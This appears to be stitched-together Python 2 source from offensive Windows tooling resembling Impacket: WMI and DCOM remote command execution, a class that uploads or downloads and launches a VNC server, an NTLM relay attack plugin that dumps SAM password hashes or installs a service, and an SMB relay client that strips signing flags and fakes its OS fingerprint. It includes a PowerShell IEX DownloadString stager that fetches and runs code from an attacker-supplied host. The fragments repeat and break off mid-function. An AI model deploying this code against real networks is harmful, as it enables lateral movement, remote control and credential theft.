if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
def run(self, addr):
if self.__noOutput is False:
smbConnection = SMBConnection(addr, addr)
if self.__doKerberos is False:
smbConnection.login(self.__username, self.__password,
self.__domain, self.__lmhash,
self.__nthash)
else:
smbConnection.kerberosLogin(self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
kdcHost=self.__kdcHost)
dialect = smbConnection.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
else:
smbConnection = None
dcom = DCOMConnection(addr,
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
oxidResolver=True,
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost)
try:
remoteHost = str(addr)
print(remoteHost + ": starting WMI")
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL,
NULL)
iWbemLevel1Login.RemRelease()
win32Process, _ = iWbemServices.GetObject('Win32_Process')
self.shell = RemoteShell(self.__share, win32Process, smbConnection)
print(remoteHost + ": deploying " + self.scanobj.surveyfile)
self.shell.do_cd(self.scanobj.tgtdestdirectory)
self.shell.do_put(self.scanobj.surveyfile)
for reqFile in self.scanobj.requiredfiles:
self.shell.do_put(reqFile)
print(remoteHost + ": uploading " + reqFile)
destsurveyfile = self.scanobj.surveyfile[self.scanobj.surveyfile.
rfind("/") + 1:]
print(remoteHost + ": executing " + destsurveyfile)
self.shell.onecmd("powershell -ep bypass ./" + destsurveyfile +
" -verbose")
print(remoteHost + ": getting results")
f = self.shell.do_get("SurveyResults.xml")
os.rename(f, "results/SurveyResults-" + addr + ".xml")
self.shell.onecmd("del " + destsurveyfile + " SurveyResults.xml")
fh = open("log/" + addr + ".txt", 'wb')
fh.write(self.shell.get_alloutput())
fh.close()
print(remoteHost + ": finished")
self.__outputBuffer = u''
except (Exception, KeyboardInterrupt), e:
import traceback
traceback.print_exc()
logging.error(str(e))
fh = open("log/" + addr + ".txt", 'wb')
fh.write(str(e))
fh.close()
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
sys.stdout.flush()
sys.exit(1)
class VNCEXEC:
def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, share=None, doKerberos=False, kdcHost=None):
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__share = share
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.shell = None
self.vnc_upload_path = None
self.vnc_upload_filename = None
self.full_file_path = None
self.smbConnection = None
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def findWritableShare(self, shares):
# Check we can write a file on the shares, stop in the first one
for i in shares['Buffer']:
if i['shi1_type'] == srvs.STYPE_DISKTREE or i['shi1_type'] == srvs.STYPE_SPECIAL:
share = i['shi1_netname'][:-1]
if (len(share) == 2 and share[1] == '$') or share == 'ADMIN$':
pass
else:
logging.info('Bad share %s' % share)
continue
try:
self.smbConnection.createDirectory(share,'ARTKOND')
except:
# Can't create, pass
#import traceback
#print traceback.print_exc()
logging.critical("share '%s' is not writable." % share)
pass
else:
logging.info('Found writable share %s' % share)
self.smbConnection.deleteDirectory(share,'ARTKOND')
return str(share)
return None
def getShares(self):
# Setup up a DCE SMBTransport with the connection already in place
logging.info("Requesting shares on %s....." % (self.smbConnection.getRemoteHost()))
try:
self._rpctransport = transport.SMBTransport(self.smbConnection.getRemoteHost(), self.smbConnection.getRemoteHost(),filename = r'\srvsvc', smb_connection = self.smbConnection)
dce_srvs = self._rpctransport.get_dce_rpc()
dce_srvs.connect()
dce_srvs.bind(srvs.MSRPC_UUID_SRVS)
resp = srvs.hNetrShareEnum(dce_srvs, 1)
return resp['InfoStruct']['ShareInfo']['Level1']
except:
logging.critical("Error requesting shares on %s, aborting....." % (self.smbConnection.getRemoteHost()))
raise
def get_vnc_upload_path(self, share):
if share == 'ADMIN$':
return "C:\\windows\\temp\\"
if len(share) == 2:
if share[1] == '$':
return share[0] + ":\\"
def copy_file(self, file, tree, dst):
logging.info("Uploading " + self.vnc_upload_path + self.vnc_upload_filename)
pathname = string.replace(dst,'/','\\')
try:
self.smbConnection.putFile(tree, pathname, file.read)
except:
logging.critical("Error uploading file %s, aborting....." % dst)
raise
def upload_vnc(self, addr, bc_ip, contype, vncpass, vncport, invoke_vnc_path):
fileCopied = False
serviceCreated = False
# Do the stuff here
try:
# Let's get the shares
if self.__share is None:
shares = self.getShares()
self.__share = self.findWritableShare(shares)
if self.__share is None:
logging.critical("Couldn't find writable share")
raise
self.vnc_upload_path = self.get_vnc_upload_path(self.__share)
if self.vnc_upload_path is None:
logging.critical("Can't deduct local path from share name " + self.__share)
raise
self.vnc_upload_filename = uuid.uuid4().hex[:8] + '.bat'
encoded_bat = BatEncode(open(invoke_vnc_path, 'rb').read(), self.vnc_upload_path + self.vnc_upload_filename, self.launch_string)
encoded_buffer = encoded_bat.get_buffer()
mem_file = StringIO.StringIO(encoded_buffer)
if self.__share == 'ADMIN$':
self.full_file_path = '\\TEMP\\' + self.vnc_upload_filename
else:
self.full_file_path = '\\' + self.vnc_upload_filename
self.copy_file(mem_file , self.__share, self.full_file_path)
fileCopied = True
except:
raise
def run(self, addr, method, bc_ip, contype, vncpass, vncport, invoke_vnc_path, httpport):
if bc_ip is None:
bc_ip = ''
self.launch_string = 'Invoke-Vnc '
if contype == 'bind':
pass
elif contype == 'reverse':
if bc_ip is None:
print 'Ip addr required for reverse connection'
sys.exit(1)
else:
self.launch_string += '-IpAddress ' + bc_ip
self.launch_string += ' -ConType ' + contype +' -Port ' + vncport + ' -Password ' + vncpass
logging.info("Using powershell launch string '" + self.launch_string + "'")
if method == 'upload':
logging.info("Connecting to SMB at " + addr)
self.smbConnection = SMBConnection(addr, addr)
if self.__doKerberos is False:
self.smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
self.smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
dialect = self.smbConnection.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
self.upload_vnc(addr, bc_ip, contype, vncpass, vncport, invoke_vnc_path)
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
win32Process,_ = iWbemServices.GetObject('Win32_Process')
self.shell = RemoteShell(self.__share, win32Process, None)
logging.info("Executing " + self.vnc_upload_path + self.vnc_upload_filename)
if contype == 'bind':
logging.info("VNC server should start at {0}:{1}".format(addr, vncport))
else:
logging.info("Expect reverse VNC connection at port " + vncport)
self.shell.onecmd(self.vnc_upload_path + self.vnc_upload_filename)
logging.info("Sleeping 10 seconds to allow bat file to unpack itself before deleting it")
time.sleep(10)
self.smbConnection.deleteFile(self.__share, self.full_file_path)
logging.info("File " + self.__share + self.full_file_path + " deleted")
except (Exception, KeyboardInterrupt), e:
#import traceback
#traceback.print_exc()
logging.error(str(e))
logging.info("Error on executing bat file. Trying to delete it before exiting")
self.smbConnection.deleteFile(self.__share, self.full_file_path)
logging.info("{0} deleted".format(self.__share + self.full_file_path))
if self.smbConnection is not None:
self.smbConnection.logoff()
dcom.disconnect()
sys.stdout.flush()
sys.exit(1)
if self.smbConnection is not None:
self.smbConnection.logoff()
dcom.disconnect()
elif method == 'download':
if bc_ip == '':
logging.critical("-bc-ip needed when using download delivery method")
sys.exit(1)
ps1_line = "IEX (New-Object System.Net.Webclient).DownloadString('http://{0}:{1}/Invoke-Vnc.ps1'); {2}".format(bc_ip, httpport, self.launch_string)
logging.info("Stager: {0}".format(ps1_line))
command = str(PSOneliner(ps1_line))
logging.debug(command)
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
win32Process,_ = iWbemServices.GetObject('Win32_Process')
self.shell = RemoteShell(None, win32Process, None)
self.shell.onecmd(command)
while True:
pass
dcom.disconnect()
except (Exception, KeyboardInterrupt), e:
#import traceback
#traceback.print_exc()
logging.error(str(e))
logging.critical("Closing DCOM connection")
dcom.disconnect()
sys.stdout.flush()
raise
def run(self, addr):
if self.__noOutput is False:
smbConnection = SMBConnection(addr, addr)
if self.__doKerberos is False:
smbConnection.login(self.__username, self.__password,
self.__domain, self.__lmhash,
self.__nthash)
else:
smbConnection.kerberosLogin(self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
kdcHost=self.__kdcHost)
dialect = smbConnection.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
else:
smbConnection = None
dcom = DCOMConnection(addr,
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
oxidResolver=True,
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL,
NULL)
iWbemLevel1Login.RemRelease()
win32Process, _ = iWbemServices.GetObject('Win32_Process')
self.shell = RemoteShell(self.__share, win32Process, smbConnection)
if self.__command != ' ':
self.shell.onecmd(self.__command)
else:
self.shell.cmdloop()
except (Exception, KeyboardInterrupt), e:
#import traceback
#traceback.print_exc()
logging.error(str(e))
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
sys.stdout.flush()
sys.exit(1)
class SMBAttack(ProtocolAttack):
"""
This is the SMB default attack class.
It will either dump the hashes from the remote target, or open an interactive
shell if the -i option is specified.
"""
PLUGIN_NAMES = ["SMB"]
def __init__(self, config, SMBClient, username):
ProtocolAttack.__init__(self, config, SMBClient, username)
if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
else:
self.__SMBConnection = SMBClient
self.__answerTMP = ''
if self.config.interactive:
#Launch locally listening interactive shell
self.tcpshell = TcpShell()
else:
self.tcpshell = None
if self.config.exeFile is not None:
self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile)
def __answer(self, data):
self.__answerTMP += data
def run(self):
# Here PUT YOUR CODE!
if self.tcpshell is not None:
LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port)
#Start listening and launch interactive shell
self.tcpshell.listen()
self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile)
self.shell.cmdloop()
return
if self.config.exeFile is not None:
result = self.installService.install()
if result is True:
LOG.info("Service Installed.. CONNECT!")
self.installService.uninstall()
else:
from impacket.examples.secretsdump import RemoteOperations, SAMHashes
from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins
samHashes = None
try:
# We have to add some flags just in case the original client did not
# Why? needed for avoiding INVALID_PARAMETER
if self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
flags2 |= smb.SMB.FLAGS2_LONG_NAMES
self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)
remoteOps = RemoteOperations(self.__SMBConnection, False)
remoteOps.enableRegistry()
except Exception, e:
if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges
if self.config.enumLocalAdmins:
LOG.info(u"Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection)
try:
localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins()
LOG.info(u"Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
for name in localAdminNames:
LOG.info(u"Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name))
except DCERPCException, e:
LOG.info("SAMR access denied")
return
# Something else went wrong. aborting
LOG.error(str(e))
return
try:
if self.config.command is not None:
remoteOps._RemoteOperations__executeRemote(self.config.command)
LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
self.__answerTMP = ''
self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
print self.__answerTMP.decode(self.config.encoding, 'replace')
else:
bootKey = remoteOps.getBootKey()
remoteOps._RemoteOperations__serviceDeleted = True
samFileName = remoteOps.saveSAM()
samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
samHashes.dump()
samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
except Exception, e:
LOG.error(str(e))
def run(self, addr):
if self.__noOutput is False:
smbConnection = SMBConnection(addr, addr)
if self.__doKerberos is False:
smbConnection.login(self.__username, self.__password,
self.__domain, self.__lmhash,
self.__nthash)
else:
smbConnection.kerberosLogin(self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
kdcHost=self.__kdcHost)
dialect = smbConnection.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
else:
smbConnection = None
dcom = DCOMConnection(addr,
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
oxidResolver=True,
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost)
try:
dispParams = DISPPARAMS(None, False)
dispParams['rgvarg'] = NULL
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 0
dispParams['cNamedArgs'] = 0
if self.__dcomObject == 'ShellWindows':
# ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2)
iInterface = dcom.CoCreateInstanceEx(
string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'),
IID_IDispatch)
iMMC = IDispatch(iInterface)
resp = iMMC.GetIDsOfNames(('Item', ))
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams,
0, [], [])
iItem = IDispatch(
self.getInterface(
iMMC,
resp['pVarResult']['_varUnion']['pdispVal']['abData']))
resp = iItem.GetIDsOfNames(('Document', ))
resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
dispParams, 0, [], [])
pQuit = None
elif self.__dcomObject == 'ShellBrowserWindow':
# ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2)
iInterface = dcom.CoCreateInstanceEx(
string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'),
IID_IDispatch)
iMMC = IDispatch(iInterface)
resp = iMMC.GetIDsOfNames(('Document', ))
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
dispParams, 0, [], [])
pQuit = iMMC.GetIDsOfNames(('Quit', ))[0]
elif self.__dcomObject == 'MMC20':
iInterface = dcom.CoCreateInstanceEx(
string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'),
IID_IDispatch)
iMMC = IDispatch(iInterface)
resp = iMMC.GetIDsOfNames(('Document', ))
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
dispParams, 0, [], [])
pQuit = iMMC.GetIDsOfNames(('Quit', ))[0]
else:
logging.fatal('Invalid object %s' % self.__dcomObject)
return
iDocument = IDispatch(
self.getInterface(
iMMC,
resp['pVarResult']['_varUnion']['pdispVal']['abData']))
if self.__dcomObject == 'MMC20':
resp = iDocument.GetIDsOfNames(('ActiveView', ))
resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
dispParams, 0, [], [])
iActiveView = IDispatch(
self.getInterface(
iMMC,
resp['pVarResult']['_varUnion']['pdispVal']['abData']))
pExecuteShellCommand = iActiveView.GetIDsOfNames(
('ExecuteShellCommand', ))[0]
self.shell = RemoteShellMMC20(
self.__share, (iMMC, pQuit),
(iActiveView, pExecuteShellCommand), smbConnection)
else:
resp = iDocument.GetIDsOfNames(('Application', ))
resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
dispParams, 0, [], [])
iActiveView = IDispatch(
self.getInterface(
iMMC,
resp['pVarResult']['_varUnion']['pdispVal']['abData']))
pExecuteShellCommand = iActiveView.GetIDsOfNames(
('ShellExecute', ))[0]
self.shell = RemoteShell(self.__share, (iMMC, pQuit),
(iActiveView, pExecuteShellCommand),
smbConnection)
if self.shell is not None:
self.shell.do_exit('')
except (Exception, KeyboardInterrupt) as e:
#hit's here if an ADMIN is not logged in, but everything else is right: ERROR:root:RPC_E_DISCONNECTED - The object invoked has disconnected from its clients.
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
if self.shell is not None:
self.shell.do_exit('')
logging.error(str(e))
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
sys.stdout.flush()
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
def run(self, addr):
if self.__noOutput is False:
smbConnection = SMBConnection(addr, addr)
if self.__doKerberos is False:
smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
dialect = smbConnection.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
else:
smbConnection = None
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
try:
dispParams = DISPPARAMS(None, False)
dispParams['rgvarg'] = NULL
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 0
dispParams['cNamedArgs'] = 0
if self.__dcomObject == 'ShellWindows':
# ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2)
iInterface = dcom.CoCreateInstanceEx(string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch)
iMMC = IDispatch(iInterface)
resp = iMMC.GetIDsOfNames(('Item',))
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
iItem = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
resp = iItem.GetIDsOfNames(('Document',))
resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
pQuit = None
elif self.__dcomObject == 'ShellBrowserWindow':
# ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2)
iInterface = dcom.CoCreateInstanceEx(string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch)
iMMC = IDispatch(iInterface)
resp = iMMC.GetIDsOfNames(('Document',))
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
elif self.__dcomObject == 'MMC20':
iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)
iMMC = IDispatch(iInterface)
resp = iMMC.GetIDsOfNames(('Document',))
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
else:
logging.fatal('Invalid object %s' % self.__dcomObject)
return
iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
if self.__dcomObject == 'MMC20':
resp = iDocument.GetIDsOfNames(('ActiveView',))
resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]
self.shell = RemoteShellMMC20(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection)
else:
resp = iDocument.GetIDsOfNames(('Application',))
resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
pExecuteShellCommand = iActiveView.GetIDsOfNames(('ShellExecute',))[0]
self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection)
if self.__command != ' ':
self.shell.onecmd(self.__command)
if self.shell is not None:
self.shell.do_exit('')
else:
self.shell.cmdloop()
except (Exception, KeyboardInterrupt), e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
if self.shell is not None:
self.shell.do_exit('')
logging.error(str(e))
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
sys.stdout.flush()
sys.exit(1)
class SMBRelayClient(ProtocolClient):
PLUGIN_NAME = "SMB"
def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True ):
ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
self.extendedSecurity = extendedSecurity
self.domainIp = None
self.machineAccount = None
self.machineHashes = None
self.sessionData = {}
self.keepAliveHits = 1
def keepAlive(self):
# SMB Keep Alive more or less every 5 minutes
if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER):
# Time to send a packet
# Just a tree connect / disconnect to avoid the session timeout
tid = self.session.connectTree('IPC$')
self.session.disconnectTree(tid)
self.keepAliveHits = 1
else:
self.keepAliveHits +=1
def killConnection(self):
if self.session is not None:
self.session.close()
self.session = None
def initConnection(self):
self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True)
#,preferredDialect=SMB_DIALECT)
if self.serverConfig.smb2support is True:
data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
else:
data = '\x02NT LM 0.12\x00'
if self.extendedSecurity is True:
flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
else:
flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
try:
packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity,
flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS,
flags2=flags2, data=data)
except socketerror as e:
if 'reset by peer' in str(e):
if not self.serverConfig.smb2support:
LOG.error('SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support')
else:
LOG.error('SMBCLient error: Connection was reset')
else:
LOG.error('SMBCLient error: %s' % str(e))
return False
if packet[0:1] == b'\xfe':
smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet)
else:
# Answer is SMB packet, sticking to SMBv1
smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet)
self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort,
existingConnection=smbClient, manualNegotiate=True)
return True
def setUid(self,uid):
self._uid = uid
def sendNegotiate(self, negotiateMessage):
negotiate = NTLMAuthNegotiate()
negotiate.fromString(negotiateMessage)
#Remove the signing flag
negotiate['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
challenge = NTLMAuthChallenge()
if self.session.getDialect() == SMB_DIALECT:
challenge.fromString(self.sendNegotiatev1(negotiateMessage))
else:
challenge.fromString(self.sendNegotiatev2(negotiateMessage))
# Store the Challenge in our session data dict. It will be used by the SMB Proxy
self.sessionData['CHALLENGE_MESSAGE'] = challenge
return challenge
def sendNegotiatev2(self, negotiateMessage):
v2client = self.session.getSMBServer()
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
# Let's build a NegTokenInit with the NTLMSSP
blob = SPNEGO_NegTokenInit()
# NTLMSSP
blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
blob['MechToken'] = negotiateMessage
sessionSetup['SecurityBufferLength'] = len(blob)
sessionSetup['Buffer'] = blob.getData()
packet = v2client.SMB_PACKET()
packet['Command'] = SMB2_SESSION_SETUP
packet['Data'] = sessionSetup
packetID = v2client.sendSMB(packet)
ans = v2client.recvSMB(packetID)
if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):
v2client._Session['SessionID'] = ans['SessionID']
sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])
respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
return respToken['ResponseToken']
return False
def sendNegotiatev1(self, negotiateMessage):
v1client = self.session.getSMBServer()
smb = NewSMBPacket()
smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
# Are we required to sign SMB? If so we do it, if not we skip it
if v1client.is_signing_required():
smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
# Just in case, clear the Unicode Flag
flags2 = v1client.get_flags ()[1]
v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_UNICODE))
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()
sessionSetup['Parameters']['MaxBufferSize'] = 65535
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VcNumber'] = 1
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
# Let's build a NegTokenInit with the NTLMSSP
# TODO: In the future we should be able to choose different providers
blob = SPNEGO_NegTokenInit()
# NTLMSSP
blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
blob['MechToken'] = negotiateMessage
sessionSetup['Parameters']['SecurityBlobLength'] = len(blob)
sessionSetup['Parameters'].getData()
sessionSetup['Data']['SecurityBlob'] = blob.getData()
# Fake Data here, don't want to get us fingerprinted
sessionSetup['Data']['NativeOS'] = 'Unix'
sessionSetup['Data']['NativeLanMan'] = 'Samba'
smb.addCommand(sessionSetup)
v1client.sendSMB(smb)
smb = v1client.recvSMB()
try:
smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
except Exception:
LOG.error("SessionSetup Error!")
raise
else:
# We will need to use this uid field for all future requests/responses
v1client.set_uid(smb['Uid'])
# Now we have to extract the blob to continue the auth process
sessionResponse = SMBCommand(smb['Data'][0])
sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])
sessionData = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])
sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']
sessionData.fromString(sessionResponse['Data'])
respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])
return respToken['ResponseToken']
def sendStandardSecurityAuth(self, sessionSetupData):
v1client = self.session.getSMBServer()
flags2 = v1client.get_flags()[1]
v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY))
if sessionSetupData['Account'] != '':
smb = NewSMBPacket()
smb['Flags1'] = 8
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
sessionSetup['Data'] = SMBSessionSetupAndX_Data()
sessionSetup['Parameters']['MaxBuffer'] = 65535
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VCNumber'] = os.getpid()
sessionSetup['Parameters']['SessionKey'] = v1client._dialects_parameters['SessionKey']
